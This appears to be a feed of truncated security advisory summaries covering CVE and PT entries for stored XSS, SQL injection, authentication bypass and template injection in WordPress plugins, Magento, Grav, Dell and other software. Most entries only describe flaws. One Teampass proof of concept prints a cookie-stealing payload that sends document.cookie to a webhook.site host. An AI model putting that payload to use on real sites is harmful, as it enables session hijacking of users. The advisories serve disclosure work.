CVE-2023-2400

Improper deletion of resource in the user management feature in Devolutions Server 2023.1.8 and earlier allows an administrator to view users vaults of deleted users via database access...

CVE-2023-35854

Zoho ManageEngine ADSelfService Plus through 6113 has an authentication bypass that can be exploited to steal the domain controller session token for identity spoofing, thereby achieving the privileges of the domain controller administrator. NOTE: the vendor's perspective is that they have "found...

CVE-2023-35878

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in Vadym K. Extra User Details plugin = 0.5 versions...

CVE-2023-3325

The CMS Commander plugin for WordPress is vulnerable to authorization bypass due to the use of an insufficiently unique cryptographic signature on the 'cmscaddsite' function in versions up to, and including, 2.287. This makes it possible for unauthenticated attackers to the plugin to change the...

Authorization

The CMS Commander plugin for WordPress is vulnerable to authorization bypass due to the use of an insufficiently unique cryptographic signature on the 'cmscaddsite' function in versions up to, and including, 2.287. This makes it possible for unauthenticated attackers to the plugin to change the...

PT-2023-11558 · Khodakhah · Nodcms

Name of the Vulnerable Software and Affected Versions: khodakhah NodCMS version 3.0 Description: The issue allows a remote attacker to execute arbitrary code and gain access to sensitive information via a crafted script to the address parameter. This can be done by an attacker with administrative...

WordPress Plugin CMS Commander 安全特征问题漏洞

WordPress and WordPress plugin are both products of the WordPress Foundation.WordPress is a blogging platform developed using the PHP language. The platform supports setting up personal blog sites on servers with PHP and MySQL.WordPress plugin is an application plugin. A security signature issue...

CVE-2023-35779

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in Seed Webs Seed Fonts plugin = 2.3.1 versions...

Sql injection

The Integration for Contact Form 7 and Zoho CRM, Bigin WordPress plugin before 1.2.4 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin...

CVE-2023-26527

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in WPIndeed Debug Assistant plugin = 1.4 versions...

CVE-2023-26537 WordPress WP No External Links Plugin <= 1.0.2 is vulnerable to Cross Site Scripting (XSS)

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in nicolly WP No External Links plugin = 1.0.2 versions...

CVE-2023-25963

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in JoomSky JS Job Manager plugin = 2.0.0 versions...

PT-2023-20717 · Amember · Amember

Name of the Vulnerable Software and Affected Versions: asMember plugin versions = 1.5.4 Description: The issue is related to a Stored Cross-Site Scripting XSS vulnerability that requires authentication with admin or higher privileges. Recommendations: For asMember plugin versions = 1.5.4, update ...

Improper Neutralization of Special Elements Used in a Template Engine

Overview magento/project-community-edition is an eCommerce Platform for Growth Community Edition Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine due to the improper neutralization of special elements used in a template...

CVE-2023-32465

Dell Power Protect Cyber Recovery, contains an Authentication Bypass vulnerability. An attacker could potentially exploit this vulnerability, leading to unauthorized admin access to the Cyber Recovery application. Exploitation may lead to complete system takeover by an attacker...

PT-2023-24775 · Grav +1 · Grav +1

Name of the Vulnerable Software and Affected Versions: Grav versions prior to 1.7.42 Description: The issue allows for server-side template injection, which can lead to remote code execution. This can be achieved by embedding malicious PHP code on the administrator screen by a user with page...

CVE-2023-28620

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in Cyberus Labs Cyberus Key plugin = 1.0 versions...

CVE-2023-26528

Auth. admin+ Stored Cross-Site Scripting XSS vulnerability in jinit9906 Shipyaari Shipping Management plugin = 1.0 versions...

XSS Filter Bypass in Folder Name leading to Information Disclosure

Description Proof of Concept First, login to Teampass and go to the Folders tab. Create a new folder using Hex entities in the Label. In this case: scriptfetchhttpswebhooksitejlk documentcookiescript which is fetch'https://webhook.site/jlk/' + document.cookie Next, select the created folder and...

CVE-2023-1323 Easy Forms for MailChimp < 6.8.9 - Admin+ Stored XSS

The Easy Forms for Mailchimp WordPress plugin before 6.8.9 does not sanitise and escape some of its from parameters, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfilteredhtml capability is disallowed for example in multisite...